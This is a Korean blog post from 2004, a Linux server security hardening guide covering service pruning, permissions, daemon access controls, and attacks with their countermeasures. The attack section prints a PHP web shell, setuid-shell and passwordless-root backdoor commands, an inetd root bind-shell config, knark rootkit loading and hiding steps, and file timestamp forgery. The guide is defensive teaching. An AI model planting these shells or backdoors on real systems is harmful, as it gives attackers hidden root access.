Posted on 2004/03/03 13:52
Filed Under 리눅스기술문서/서버관련 조회수:

서버 관리자를 위한  안전한 리눅스 서버 설정하기

                                

0. 들어가면서
1. 최근 해킹의 추세 및 대응
2. 리눅스 설치후 초기 보안 설정법
3. 서비스 제공시 보안상 주의할점
4. 각 데몬별 접속제한 및 보안설정법
   (DNS, inetd, httpd, sendmail, proftpd 에서의 보안설정)
5. 각종 네트워크 및 보안 팁
6. 해킹 기법과 이에 대한 대책
7. 백업방식과 백업에 대한 대책
8. 라우터등 각종 Network관련 보안설정 및 팁
9. 기타.


0. 들어가면서


리눅스의 대중화로 리눅스를 이용하는 사람이 증가하고 초고속 통신망의 증대로
쉽게 전용선을 이용 가능하여 리눅스가 네트워크에 연결되는 경우가 많이 있다.
그러나 쉽게 서비스가 가능하다는 이유로 충분한 사전 준비나 설정 없이 인터넷에
오픈 되는 경우가 많이 있고 이에 대한 각종 해킹툴이 인터넷에 공개되어 있어
이에 대한 보안대책이 중요하게 제기 되고 있다.
리눅스에서 보안에 대해 조금만 신경을 쓰면 무질서한 네트워크 세계에서 어느 정도 안
전한
서버를 운영할 수 있다.


1. 최근 해킹의 추세 및 대응

1) 공격하기 쉽고 추적하기 어렵다.
   각종 공격툴이나 해킹소스가 인터넷을 통해 공개되고 있고 전문적인 지식이 없는
   스크립트 키드도 쉽게 해킹을 할 수 있다.
   아울러 관리자적 입장에서는 해킹유형이 점차 고도화되고 PC방등 공동 장소를
   이용하므로 추척하기가 매우 어렵다.

2) 공격자는 우발적 공격이 아닌 조직적이고 계획된 공격을 한다.
   최근에는 경쟁자(업체)에 대한 사이버 테러적인 성격을 띄고 있다.

3) YAHOO, MS등 공격대상은 대단위로 이루어진다.
   갈수록 공격기법과 그 대상이 대담해 지고 있다.

4) 서비스 거부 공격(DOS)의 증가
   데이터를 변조하거나 훼손하기보다는 상대적으로 더 치명적이고
   쉽게 공격할 수 있는 DoS 공격이 증가하고 있다.

5) 서버보다는 보안이 약한 PC를 해킹하는 추세
   실제 중요 데이터는 서버보다는 PC 에 있는 경우가 많아 PC를
   해킹하는 경우가 많이 확인되고 있다.



2. 리눅스 설치후 초기 보안 설정하기.


1) 서버로 사용할 예정이라면 X-Windows 는 설치하지 않는다.

2) ps aux 또는 ps auxc 로 확인하여 불필요한 데몬은 띄우지 않는다.
기본적으로 설치되는 portmap / identd / atd / lpd / gpm -t /  xfs 등은 삭제.
  ps aux 로 확인후 kill -9 pid  

3) /etc/rc.d/rc3.d에서 불필요한 서비스는 삭제한다.
--> 부팅시 Run-level 3으로 실행되는데, K 는 실행되지 않는 것이고
    S 는 실행되는 것이다. 실행순서는 번호순서대로 실행된다.

<< 참고 >>
## /etc/inittab 참조
# Default runlevel. The runlevels used by RHS are:
#   0 - halt (Do NOT set initdefault to this)
#   1 - Single user mode
#   2 - Multiuser, without NFS (The same as 3, if you do not have networking)
#   3 - Full multiuser mode
#   4 - unused
#   5 - X11
#   6 - reboot (Do NOT set initdefault to this)


S05apmd      laptop 에서만 필요하므로 서버에서는 필요없다.
S10xntpd      Network time protocol이다. 역시 필요없다.
S11portmap   NIS 나 NFS  서비스 이용시 R 서비스에 대한 Port 를
              Mapping 시켜주는 서비스이므로 필요없다.
S15sound    서버에서 Sound 를 서비스는 필요하지 않으므로 필요없다.
S15netfs      nfs client 가 nfs server 를 마운트 할때 필요하므로  
             역시 필요없다.
S20rstatd    
S20rusersd
S20rwhod
S20rwalld
            R 로 시작하는 서비스는 Remote 에서 실행하는 것이므로 반드시 삭제한다.
S20bootparamd   하드나 플로피등 부팅수단이 없을때 이용하는 것으로 반드시 삭제한
다.
S25squid      프록시 서버 설정이므로 역시 필요없다.
S34yppasswdd  NIS server 에서 필요하므로 필요없다.
S35ypserv     NIS 에서 필요한 설정이므로 필요없다.
S35dhcpd      DHCP (IP 동적할당 서비스) 에서 필요하므로 삭제한다.
S40atd        cron 과 같은 서비스인데, 주로 cron 서비스를 이용하므로 삭제한다.
S45pcmcia     노트북에서 필요하므로 삭제한다.
S50snmpd     MRTG 등을 이용할 때 필요한데, 삭제한다.
S55named     DNS 서비스를 제공하지 않으면 삭제한다.
S55routed     라우터가 아닌 이상 일반 서버에서는 삭제한다.
S60lpd        프린트 서버가 아닌 이상 반드시 삭제한다.
S60mars-nwe   Netware 에서 쓰는 file 이나 print server이므로 삭제한다.
S60nfs        NFS server 에서 필요하므로 반드시 삭제한다.
S72amd      AutoMount daemon으로 원격지의 File system 을 mount 할때 필요하다.
              반드시 삭제한다.
S75gated      역시 라우터가 아닌 이상 삭제한다.
S80sendmail   Sendmail 데몬이다. 삭제하지 않는다.
S85httpd      Apache Webserver 이다.
              컴파일하여 설치하였을 경우에는 이 부분을 삭제하고
              /etc/rc.d/rc.local 에 아파치 서버 시작 설정을 추가한다.
S87ypbind     NIS 를 쓸때 필요하다. 반드시 삭제한다.  
S90xfs        X font server 로 X-Windows 서비스를 하지 않으므로 삭제한다.
S95innd       News server로 News 서비스를 하지 않으므로 삭제한다.
S99linuxconf  

원격지에서 브라우저를 통해 Linux systems 을 설정을 변경할 수 있는 것으로 반드시 삭

하여야 한다.

S10network@  S30syslog@  S50inet@   S75keytable@  S85proftpd@
S20random@   S40crond@   S54sshd2@  S80sendmail@  S99local@
이외 다른 서비스는 적당히 삭제한다.
특히
anacron*   linuxconf@  nscd*  xfs*  apmd*      gpm*    
netfs*      pcmcia*    yppasswdd*
portmap*   ypserv*
atd*       identd*     nfs*   nfslock*   등은 삭제한다.




4) 불필요한 계정은 삭제한다.
ftp, xfs adm , lp , news, games , gopher를  /etc/passwd 와 /etc/group 에서 주석
처리
또는 userdel uid, groupdel gid를 하면 된다.

# userdel adm
# userdel lp
# userdel sync
# userdel shutdown
# userdel halt
# userdel news
# userdel uucp
# userdel operator
# userdel games
# userdel gopher
# userdel ftp (anonymous FTP server를 운영하지 않으면 삭제한다.)

# groupdel adm
# groupdel lp
# groupdel news
# groupdel uucp
# groupdel games
# groupdel dip
# groupdel pppusers
# groupdel slipusers




5) 퍼미션 설정 변경
몇몇 중요한 설정 파일의 퍼미션을 변경하여 일반 유저들의 접근을 제한한다.

chmod 700 /etc/exports
chmod 700 /etc/fstab
chmod 700 /usr/bin/chage
chmod 700 /usr/bin/wall  
chmod 700 /usr/bin/at
chmod 755 /usr/bin/man
chmod 700 /usr/bin/wall
chmod 700 /usr/bin/chfn
chmod 700 /usr/bin/write
chmod 700 /usr/sbin/usernetctl
chmod 700 /bin/mount
chmod 700 /bin/umount
chmod 700 /sbin/netreport 로 사용을 불가능하게 한다.

chattr +i /etc/fstab 와 같이 속성에 Lock을 걸어 파일을 수정할 수 없게 한다.


6) 시스템 관련 명령어를 특정 그룹에서만 사용가능 하도록 설정.

chmod 750 /bin/ps
chmod 750 /bin/netstat
chmod 750 /bin/dmesg
chmod 750 /bin/df
chmod 750 /usr/bin/w
chmod 750 /usr/bin/who
chmod 750 /usr/bin/finger
chmod 750 /usr/bin/last
chmod 750 /usr/bin/top
chgrp wheel /bin/ps
chgrp wheel /bin/netstat
chgrp wheel /bin/dmesg
chgrp wheel /bin/df
chgrp wheel /usr/bin/w
chgrp wheel /usr/bin/who
chgrp wheel /usr/bin/finger
chgrp wheel /usr/bin/last
chgrp wheel /usr/bin/top
--> 위 화일의 그룹 소유권을 wheel & 750 으로 설정.
/etc/group을 열어
wheel:x:10:root,tt  와 같이 tt 라는 계정을 wheel 그룹에 추가한다.
--> root를 포함하여 wheel 그룹에 속한 tt 라는 계정만 위 명령어를 사용할 수 있다.



7) 자가 포트 스캔해 보기.
nmap tt.co.kr -p 1-65535 로 조회하여

21/tcp     open        ftp
23/tcp     open        telnet
25/tcp     open        smtp
80/tcp     open        www
110/tcp    open        pop-3
587/tcp    open        unknown    

이외의 데몬이 있는지 조사하여 처리.
참고로 587번은 SMTP 인증을 위한 Sendmail 이다.
filtered 라고 나오는 경우는 방화벽이나 라우터에서 패킷 필터링을 한 것이다.

예) 필자의 PC를 스캔한 결과.
80/tcp     filtered    www                    
139/tcp    filtered    netbios-ssn            
31337/tcp  filtered    unknown                
54320/tcp  filtered    unknown                
54338/tcp  filtered    unknown                



▷ 문제 :
nmap 으로 자신의 서버를 검색해 보니 1234번 port가 open 된 것을 확인하였다.
이때 1234번을 사용하는 데몬(프로세스)이 어떤 것인지 아는 방법은 ?

##참고
nmap등 프로그램을 구하는 방법
1. http://rpmfind.net/          
-->   rpm 형태
2. http://packetstorm.securify.com/   --> tarball 형태

8) 불필요한 Package 삭제하기
rpm -e --nodeps lpr
rpm -e --nodeps lpd
rpm -e --nodeps ypbind 등으로 불필요한 RPM 패키지를 삭제한다.
전체 설치된 패키지는 rpm -qa|sort|less 로 찾을 수 있다.

9) 커널 컴파일.
시스템의 보안과 성능을 최적화 하기 위해 반드시 커널 컴파일을 하도록 한다.




3. 서비스 제공시 보안상 주의할 점


1) 퍼미션에 대한 이해
4000 : Set User ID
2000 : Set Group ID
1000 : Sticky Bit

drwxrwxrwt   5 root     root         4096 Feb 15 16:02 tmp/
sticky 가 있을 경우에는 누구나 쓸 수 있지만 다른 사람의 파일을 삭제할 수는 없다.

find / -perm 4000 -print 로 root 소유의 suid 가 설정된 파일에 대해
확인후 불필요한 파일은 chmod 700 filename 으로 suid 비트를 끄도록 한다.

예) 잘못 설정된 시스템 예

[user@www user]$id
uid=500(user) gid=500(user)
[user@www user]$ ls -la /backup/etc.tar.gz
-rw-r--r--    1 root   root     954039 12월 12 04:22 /backup/etc.tar.gz
[user@www user]$ cp /backup/etc.tar.gz .
[user@www user]$ tar zxvfp etc.tar.gz etc/shadow
etc/shadow
[user@www user]$ cat etc/shadow
root:$1$V.120Zso3$cD/aUqQr2EBY0:11295:0:99999:7:-1:-1:134540356
bin:*:11266:0:99999:7:::
daemon:*:11266:0:99999:7:::



2) /etc/security/limits.conf  를 이용한 System Resource 자원의 제한.
예)
*          hard       rss            10000   ## 사용 메모리를 10메가로 제한
*          soft        nproc          20    ## 생성가능 프로세스를 20개로 제한
abc        hard       maxlogins      4     ## 동시 telnet 접속을 4개로 제한


문제 : telnet 접근시 root 로 로긴이 불가능한 이유와 접근이 가능하기 위한 설정은 ?

3) telnet 접속자의 입력 명령어 점검하기.
  (1) /.../tt_server 파일 생성.
mkdir /...
touch /.../tt_server
chown user.user /.../tt_server
chmod 702 /.../tt_server

  (2) tt 의 /etc/profile 에 다음의 줄 추가

if [ $LOGNAME != "root" ];
then
HISTFILE=/.../tt_server
TMOUT=200
echo "###############################################"
>> /.../tt_server
echo "tt_server 로그인 ID: $LOGNAME 접속시각: `/bin/date`" >>
/.../tt_server
fi    

   (3) /etc/logrotate.conf 의 하단에 다음의 줄을 추가..

/.../tt_server
  daily
  rotate 4
  errors system at tt.co.kr




4. 각 데몬별 접속제한에 대해


(1) Inetd(슈퍼 서버) 데몬
(2) Standalone (Sendmail, httpd, Proftpd등)

Inet의 경우 Tcp Wrapper를 이용하여 접속제한 가능.
systat , finger , ftp , telnet , rlogin , rsh , exec , tftp
talk , pop3 , imap etc....
--> telnet , pop3를 제외한 다른 서비스는 제거한다.

환경 설정후 killall -HUP inetd 로 update.

?  Standalone (Sendmail)
/etc/mail/access에서 설정

spammer at aol.com        REJECT
abc.com                        REJECT
goodman at abc.com      OK
203.34                       REJECT
211.47.65         RELAY

## 각 칼럼사이는 Tab키로 구분.
작성후
/etc/mail에서 "./makemap.sh access" 실행으로 설정내용 갱신.

문제 : /etc/mail에서 설정을 변경한 후에는 makemap 등으로 업데이트롤
할 경우 .db 형태로 저장되는데, 이 설정내용을 db 로 저장하는 이유는?

▷ SMTP 서버에서 보내는양 제한설정법.
/etc/sendmail.cf 파일에서 다음과 같은 주석을 제거한다
# maximum message size
O MaxMessageSize=5024000
이때 "5024000"은 byte단위이다. 위의 경우 5 메가 이상 보낼수 없으며 원하는
용량만큼 설정하면 된다.

▷받는 메일서버에서 받는양 제한설정법
  "Local and Program Mailer specification" 부분을

Mlocal, P=/usr/bin/procmail, F=lsDFMAw5:/|@qSPfhn9, S=10/30,
R=20/40, M=5024000, T=DNS/RFC822/X-Unix, A=procmail -Y -a $h -d $u
위와 같이 M=5024000 부분을 추가해 주면 된다.

▷ 자신의 sendmail 이 Third Party Relay 가 허용되는지
여부 점검방법.

(1)  /etc/sendmail.cf 파일을 열어
# anything else is bogus
R$*                     $#error $@ 5.7.1 $: "550 Relaying denied"
부분을 확인하여 Relay가 허용되지 않으려면 주석처리가 되어 있지 않아야 함.
(2) http://www.whchang.com/netprg/is-relay.pl 에서 Relay 여부 확인가능

? Standalone (httpd)
웹기반으로 서비스를 많이 이용/제공하면서 IP기반의 접근제어를
할 필요가 있다.,

<< 설정방법 >>
(1) httpd.conf에서 설정하는 방법과
(2) 인증을 설정할 디렉토리에서 .htaccess 파일을 이용하는 방법이 있다.

(1) httpd.conf에서 설정하는 법.

<Directory /home/abc/public_html/secure>
    Order deny,allow
    Deny from all
    Allow from 211.47.64  211.47.65
</Directory>  
--> /home/abc/public_html/secure/ 하위 디렉토리나 문서에 접근시 모든 접속은 허
용하되
211.47.64.xxx 나 211.47.65.xxx 대역에서 접근만을 허용한다.
다른 IP에서 접근시에는 Forbidden 에러를 낸다.

(2) 인증을 걸 디렉토리의 .htaccess에서 설정하는 법
  ( httpd.conf 에서  AllowOverride All 로 설정되어야 적용 가능)

AuthName   "Members Only."
AuthType   Basic
AuthUserFile   /home/abc/public_html/secure/.htpasswd
AuthGroupFile   /dev/null
ErrorDocument 401 "ABC 직원만 접근 가능합니다.

<Limit GET POST>
require   valid-user
Satisfy all
order deny,allow
Deny from all
Allow from 211.47.64
Allow from 192.168.2.217
</Limit>

위와 같을 경우 해당
(1) 위 IP 대역내에서
(2) ID/PW 인증을 한 유저만 접근이 가능하다.
-->Satisfy 옵션 주의!!
Satisfy any(기본설정값) -> 두조건중 하나만 만족하면 됨.
        all             -> 두조건 모두 만족해야 함


### Webzip, Teleport 등 웹소스 긁어가는 프로그램 차단하기  
httpd.conf에서

BrowserMatch "WebZIP" go_out
BrowserMatch "Teleport" go_out
BrowserMatch "GetRight" go_out

<Directory />
    Options ExecCGI
    AllowOverride All
    Order allow,deny
    Allow from all
    Deny from env=go_out
</Directory>

응용1 : MSIE 브라우저로 접근시 접근을 차단하려면 ?
BrowserMatch "MSIE" msie
<Directory /home>
    Options ExecCGI
    AllowOverride All
    Order allow,deny
    Allow from all
    Deny from env=msie
</Directory>


응용2 : netian/drezmwiz 홈페이지에서 무단 자료 링크를 차단하려면?

SetEnvIFNoCase Referer "netian" link_deny
SetEnvIFNoCase Referer "dreamwiz" link_deny

<FilesMatch ".(avi|mpe?g|zip|rar|mp[1-9]|arj|exe)$">
Order allow,deny
allow from all
deny from env=link_deny
</FilesMatch>


# cgi-bin/ 에 있는 test-cgi 와 print-env 파일은 삭제

## 아파치 버전 정보 숨기기(1.3.12 이상에서만 적용됨)
httpd.conf 에 ServerTokens Prod 라는 옵션 추가

가능한 옵션
(1) ServerTokens Prod[uctOnly]
  (예): Server: Apache
(2) ServerTokens Min[imal]
(예): Server: Apache/1.3.0
(3) ServerTokens OS
(예): Server: Apache/1.3.0 (Unix)
(4) ServerTokens Full (or not specified)
(예): Server: Apache/1.3.0 (Unix) PHP/3.0 MyMod/1.2


아파치 버전 정보는 telnet 도메인명 80 으로 접속하면 알 수 있다.

# telnet www57.tt.co.kr 80
Trying 211.47.66.5...
Connected to www57.tt.co.kr.
Escape character is '^]'.
GET / HTTP /1.0

HTTP/1.1 200 OK
Date: Sat, 03 Mar 2001 10:07:04 GMT
Server: Apache/1.3.17 (Unix) PHP/4.0.4pl1

? Standalone (proftpd) 의 보안
proftpd.conf 에 아래의 사항 추가.
<Limit LOGIN>
Order allow,deny
Allow from 211.47.64.
Allow from 192.168.1.65
Deny from all
</Limit>
--> 위 IP 에서만 FTP 접속을 허용한다.


? Standalone (DNS) 에서의 보안
  /etc/named.conf 설정

options
        directory "/var/named";
        allow-transfer 168.126.29.134; ;
         // Zone Transfer를 제한한다.
        allow-recursion 192.168.0/24; 192.168.1.0/24; ;
         // recursion을 제한한다.
;

# dig @kuccgx.korea.ac.kr korea.ac.kr axfr 를 해 보면?
이를 막기 위해 위해서는 Zone Transfer를 제한하여야 한다.

>> 원격지의 bind 버전 알아보기.
dig @ns3.tt.co.kr txt chaos version.bind | grep VERSION                      

>> 버전 정보 숨기는 방법
##   /etc/named.conf 에 아래 설정추가.
zone "bind" chaos
    type master;
    file "db.bind";
    allow-query    
        none;
    ;
    allow-transfer
        none;
    ;
;


## /var/named/db.bind 파일의 내용

$TTL    1D
$ORIGIN bind.
@   CHAOS   SOA localhost. root.localhost. (
       2000081201  ; serial
       3H      ; refresh
       1H      ; retry
       1W      ; expiry
       1D )        ; minimum
   CHAOS NS    localhost.

// dig @ns3.tt.co.kr txt chaos version.bind | grep VERSION 와 같은
// bind 의 버전정보 요청에 대해 정보를 보여주지 않는다.



? Tcp Wrapper 의 설치 및 운영.
/etc/hosts.deny 와 /etc/hosts.allow 파일에서 적당히 설정한다.
일반적으로 hosts.deny에서 all:all 로 차단후 hosts.allow에서 추가해 준다.

▶ inetd 만 돌경우
      inetd  --- Daemon
            ---  Daemon
            ---  Daemon
▶ tcp wrapper를 통할 경우
      inetd  --- tcpd --- Daemon
                       ---  Daemon
                       ---  Daemon

/usr/sbin/tcpd : 환경 설정 파일에서 접속된 호스트의 IP 가 현재 호스트에 대한 접근
허가
가 있는가를 알아내고 접속을 시켜주는 프로그램이다.
tcpdchk 라는 프로그램은 tcpd wrapper 설정체크 프로그램이다.
  이 프로그램은 tcp wrapper 설정을 체크하여 설정의 이상여부를 체크한다.


문제 : Tcp Wrapper 와 Firewall 의 차이점은 ?


5. 각종 네트워크 및 보안 팁

1) 서비스의 Port 번호 변경하기
/etc/services 파일에는 인터넷 서비스 요청시 사용될 포트번호와 프로토콜에
대한 정의가 있으며 부팅시 inetd 에 읽혀진다.
보안을 위해 서비스의 포트를 변경해 보도록 하자.
예) telnet 포트를 23번에서 다른 번호로 변경할 시에는
/etc/services에서
telnet         100/tcp 와 같이 수정후 killall -HUP inetd를 하면 된다.


2) 서버에 로긴한 특정 유저를 Kill 하기.
[root@www /root]# skill -KILL master
--> master 라는 사용자와 관련 process를 Kill.

[root@www /root]# skill -KILL -v pts/14
--> pts/14 에 연결되어 있는 사용자만 Kill.

3)  DB 실행은 root 가 아닌 별도의 계정으로 실행하는 것이 원칙
Msql : msql
Mysql : mysql
Pgsql ; postgres
Oracle : oracle
Ms-SQL : sa

==> 특정 사용자로 데몬 실행하기
su mysql -c  /usr/local/mysql/bin/mysql

--> 아울러 DB 서버가 웹서버와 분리되어 있을 경우에는 인터넷에서 보이지
     않도록 디자인하는 것이 원칙이다.


4) Log 서버 운영하기
여러 시스템을 운영할 경우에는 서버의 로그를 별도의 서버에 저장 되도록 로그서버를
운영하는 것이 좋다. 다음과 같이 설정하도록 한다.

  ▷ 일반 서버
/etc/syslog.conf에서
#authpriv.*       /var/log/secure 로 주석처리하고
authpriv.*       @logserver.tt.co.kr  로 수정.
  이후 /etc/rc.d/init.d/syslog restart를 한다.

  ▷ 로그 서버
/etc/rc.d/init.d/syslog stop 으로 데몬을 kill 한후
/sbin/syslogd -m 0 -r -h를 실행
==> 로그 서버의 /var/log/secure 에 모든 시스템의 로그 정보가 모임.



5)  IP 추적하기
국내 IP 의 경우
telnet 접속후
whois xxx.xxx.xxx.xxx at
whois.nic.or.kr

국외 IP 의 경우
telnet 접속후
whois xxx.xxx.xxx.xxx at
whois.arin.net(아메리카)
whois xxx.xxx.xxx.xxx at
whois.apnic.net(아시아태평양)
whois xxx.xxx.xxx.xxx at
whois.ripe.net(유럽)

또는 http://www.ipindex.net/ 참고


6) 리눅스 서버 다운시 안전 복구순서

(1) 커널 컴파일시 Kernel hacking  --->
    [*] Magic SysRq key를 체크
(2)
  # echo 1 > /proc/sys/kernel/sysrq
(3)
키 조합
    Alt+SysRq+R       use Raw keyboard events
    Alt+SysRq+K       kill current VT in use
    Alt+SysRq+E       tErminate all running processes (except init)
    Alt+SysRq+I       kIll all processes (except init)
    Alt+SysRq+L       kilL all processes (including init)
    Alt+SysRq+B       reBoot
    Alt+SysRq+S       Sync all drives
    Alt+SysRq+U       Umount all filesystems
    Alt+SysRq+O       turn the machine Off
    Alt+SysRq+P       dump Processor's registers
    Alt+SysRq+T       dump current Tasks
    Alt+SysRq+M       dump some Memory info
    Alt+SysRq+[0-9]   set kernel log level and redirect it to console

   x86 머신에서는 Alt를 누른 상태에서 Print Screen(Sys Rq)키를 누르고
  각 알파벳키를 누르면 적용된다.    

만약 시스템이 다운 되었다면 같은 다음과 순서의 조합으로 시스템에 손상을
주지 않고 안전하게 재부팅 할 수 있다.

Alt+SysRq+S : 버퍼에있는 것들을 디스크로 sync(동기화)시킨다.
Alt+SysRq+E : init 프로세스를 제외한 모든 프로세스를 종료시킨다.
Alt+SysRq+U : 파일 시스템을 unmount 시킨다.
               이때 다소의 시간이 소요되므로 잠시 기다린다.
Alt+SysRq+B : 시스템 재부팅



6. 가능한 해킹 기법과 이에 대한 대책


1) 스니핑(sniffing) 기법
>> 두 가지 허점을 이용함.
(1)TCP/IP의 특징
    (모든 데이터는 평문(Plain Text) 형태로 전송)
(2) 이더넷 구간에서는 Broadcast로 데이터가 전송된다.

>> 이에 대한 대책
(1) 암호화 전송(SSL이나 SSH등 암호화된 프로토콜을 이용한다.)
(2) Dummy 허브대신 스위칭 이용
(3) 기업간 통신시 VPN 도입
(4) ifconfig eth0 -promisc 로 promisc 모드를 off 함.

주 : 스니핑은 일반 유저로 할 수 없으며 반드시 root 로 작동되어야 하므로
    일단 스니핑이 작동하면 root 권한을 빼앗긴 것으로 알아야 한다.

################  참고
? ARP(Address Resolution Protocol) 에 대해

  tt.co.kr     --> 210.121.176.235  --> 00:50:8B:9A:31:3E
HOSTNAME --> IP address      --> MAC Address  
             DNS                 ARP
MAC(Media Address Control) Address : 00:50:8B:9A:31:3E
--> 네트웍 장비의 하드웨어적인 주소.



2) IP Spoofing 공격

3) ASP/PHP 등 프로그램의 버그를 이용한 공격
  자료실등을 이용한 임의의 파일 업로드 기능을 이용하여 서버에 게정없이
  nobody 계정으로 명령어 실행가능.

## 업로드할 hack.php3 예제
   <?
     passthru($cmd);
    ?> 또는

<? $command = str_replace("\\", "", $command); $result =
`$command`;
$info = ereg_replace("", "", "[" . `whoami` . "@
" . `pwd` . "]$");
echo "
☞ File Name : php-hack.php3<HR>
<FORM ACTION=$PHP_SELF METHOD=POST>
$info <INPUT TYPE=TEXT NAME=command VALUE='$command' SIZE=40>
<INPUT TYPE=SUBMIT VALUE='Run!'></FORM>
<HR><XMP>$result</XMP><HR>"; ?>

  
이에 대한 대처방법
# 특별한 대처 방법이 없는 상태.
   (1) 게시판등에서 업로드 기능 제한
   (2) 업로드시 확장자를 조사하여 php를 업로드를 차단
   (3) httpd.conf 에 아래와 같이 제한설정

# php 화일 업로드 제한 configuration.
<Directory /home*/*/public_html/wwwboard/upload>
<FilesMatch ".(php3|php|cgi|pl)$">
   Order allow,deny
   Deny from all
</FilesMatch>
</Directory>


4) BackDoor 기법
  ▷ 기본적인 백도어 형태(root shell을 미리 복사해둠)
  # cp /bin/bash /tmp/.hack_shell
  # chmod 4755 /tmp/.hack_shell
  이후 일반 유저로 로긴
  % id  
  uid=544(user) gid=544(user)
  %/tmp/.hack_shell
  # id
uid=0(root) gid=0(root)

   ▷ Null Password
# echo toor::0:0:toor:toor:/:/bin/sh >> /etc/passwd
이후 uid=0 인 toor 로 접근시  암호없이 접근 가능

   ▷ Telnetd  Trojans
  와부의 호스트에서  telnet 접속시 특정한 username 으로 접속시
  또는 특정한 password 로 접속시 암호를 묻지 않거나 root shell 등을 내어줌.
  
  예)
# telnet victim.tt.co.kr
Trying 211.44.111.222...
Connected to victim.tt.co.kr.
Escape character is '^]'.

login : any_username
password : *********  <-- 특정 암호 입력시
victim #

또는
login : test_user       <-- 특정 username 입력시
password : *********
victim #


# ps aux|grep inetd
root       352  0.0  0.0  1136   60 ?        S    Jan26   1:32 inetd
root     31097  0.0  0.0  1336  520 pts/1    R    14:44   0:00 inetd -s /tmp/inetd2.conf

# telnet victim.tt.co.kr 1111
Trying 211.44.111.222...
Connected to victim.tt.co.kr.
Escape character is '^]'.
#

# cat /tmp/inetd2.conf
hack_inetd  stream tcp nowait root /bin/sh sh -i
# cat /etc/services
hack_inetd           1111/tcp

>> inetd 가 두개이상 작동하고 있다면 반드시 의심해 보아야 한다.


▷ Kernel 트로이안
   $ insmod  kernel_trojans.o
   #

대표적인 커널 백도어(Knark)

knark 패키지의 핵심은 knark.c 인데 이 프로그램이 리눅스 커널에 로드되는 LKM이다.
설치는 "make"와 "insmod knark" 명령으로 간단히 설치가 가능하다.

[root@linux knark-0.59]# make
[root@linux knark-0.59]# ls
Makefile README ered* hidef* knark.o modhide.o nethide* rexec* rootme* src/
[root@linux80 knark-0.59]# /sbin/lsmod
Module Size Used by
3c509 6004 1 (autoclean)
[root@linux80 knark-0.59]# /sbin/insmod knark.o
[root@linux80 knark-0.59]# /sbin/lsmod
Module Size Used by
knark 6448 0 (unused)
3c509 6004 1 (autoclean)

위에서 보이는 것처럼 커널에 로딩된 상태를 확인할 수 있다. 하지만 이 경우 관리자가
비정상적인 커널 모듈이 삽입되어 있는 것을 lsmod로 확인할 수 있으므로 로드된 모듈
을 숨길 필요가 있다.


[root@linux knark-0.59]# /sbin/insmod modhide.o
modhide.o: init_module: Device or resource busy
[root@linux knark-0.59]# /sbin/lsmod
Module Size Used by
3c509 6004 1 (autoclean)

대책
첫째, knark이 사용하는 환경파일을 찾아낸다.

일반적인 리눅스 루트킷에서도 /dev 디렉토리 아래에 ptyp, ptyq와 같은 환경파일들이
존재
하는데 knark도 /proc/knark 디렉토리 아래에 author, files, nethides, pids, redirects

과 같은 파일들이 디폴트로 생성되므로 이 파일들을 찾음으로써 knark툴의 존재여부를

수 있다. 물론 이 파일들도 컴파일시 수정이 가능하므로 한계는 있지만 많은 Script
Kiddie들
은 소스를 수정하지 않고 사용하므로 가장 손쉽게 찾을 수 있는 방법이다.

둘째, Rkscan등 커널기반 루트킷 전용 탐지 도구를 사용한다.


▷ 이외 점검해 보아야 할 Trojans 파일
crontab , find ,  ifconfig , inetd
kill    ,  netstat ,   ls ,   ps
login ,  tcpd등

파일 변경날짜는 변조가 가능하므로
원래의 파일과 size 등을 비교, 확인해 본다.

########################## 참고
? 시스템 시간 조정하기
rdate -s time.bora.net && clock -w
? touch 및 date 를 이용한 파일변경날짜 수정하기.
touch -t 12200204 test.txt
--> test.txt 라는 화일을 12월 20일 02시 04분에
  최종 변경된 것으로 수정.
date --set=00:56:25
--> 현재 시각을 00시 56분 25초로 수정
date --set=03/17/00
--> 현재 날짜를 2000년 03월 17일로 수정.
##############################################################


5) DOS(Denial Of Service)Attack
(1) SMURF 공격
    소스를 속여 특정 Broadcast 에 ping --> 라우터에서 차단 가능.
   라우터 설정  “no ip directed-broadcast" 설정.
   리눅스에서의 설정
   /sbin/sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1
    -> smurf 공격을 막기위해 directed broadcasts에 응답하지 않게 한다.
(2) teardrop 등 (ping)
    -> 대부분 패치됨
(3) Trinoo 등 DDOS
DDOS공격도구         사용하는 포트
     Trinoo              1524 / 27665 / 27444 / 31335
     TFN                ICMP ECHO / REPLY 사용
     Stacheldraht         16660 / 65000등 사용
     TFN2000            임의의 포트가 사용됨.

6) 무작위 데몬 생성
   방화벽이나 IDS에서 차단하는 방법외에는  특별히 차단 방법이 없다.
   단, 공격지의 IP를 속이기기 쉽지 않으므로 공격지 IP를 차단하면 된다.
  
   # route add -host 211.222.111.222 reject   또는
   # ipchains -A input -p tcp -i eth0 -s 111.222.111.222 -j DENY
      -->  111.222.111.222 에서의 routing을 차단한다.

   # route add 10.0.0.0 netmask 255.0.0.0 reject
   # ipchains -A input -p tcp -i eth0 -s 10.0.0.0/8 -j DENY
      --> 10.0.0.0 대역에서의 routing을 차단한다.

7) Syn Flooding
    tcp/ip 의 three way handshaking 약점을 이용한 공격방법.
    
                      Syn -->①
        Client          ②<--  Syn/Ack   Server
                       Syn -->③ ACK

TCP/IP는 위와 같이 3 Way Handshaking 과정이 선행된 후에 통해 통신을 하게 되는데
이때 Client 쪽에서 3번째 단계를 실행하지 않는 것이다.
이 기법은 TCP 자체의 결함을 이용하는 것으로서
다음과 같은 방법이 해결책이 될 수 있다.

    -> 백로그큐를 늘리고 HalfOpen 상태시간을 줄인다.
   /sbin/sysctl -w net.ipv4.tcp_max_syn_backlog=1280
     -> socket queue 의 size 를 높임.
    
   /sbin/sysctl -w net.ipv4.tcp_syn_cookies=1
->Syn Flooding 공격을 차단하기 위해 TCP SYN cookies 기능을 켠다.
  cookie 설정을 하였을 경우 큐에 있는 cookie 가 사라지면서 syn을 clear 하므로
  백로그 큐에 쌓이지 않게 된다.  

   /sbin/sysctl -w net.ipv4.vs.timeout_timewait=60
-> time_wait 를 60초로 제한하여 일정이상 ACK 가 오지 않을 경우
    접속을 대기하지 않고 끊는다 DDOS 공격 차단에 효과적임..
    (LPVS 커널 패치를 했을 경우에만 적용됨.
   참고 페이지: http://www.linuxvirtualserver.org/software/index.html )

SYN Flooding 공격시 netstat -na|grep SYN 로 검색시 아래와 같이 보임.

   LOCAL               FOREIGN            STATE
210.121.176.250:80      152.99.5.9:59356        SYN_RECV    
210.121.176.250:80      211.62.22.30:2504       SYN_RECV    
210.121.176.250:80      211.62.22.30:3431       SYN_RECV    

# Source IP 는 속여서 들어오므로 의미가 없다.
# 근본적인 방어대책은 없다.



7. 백업과 백업시 주의점

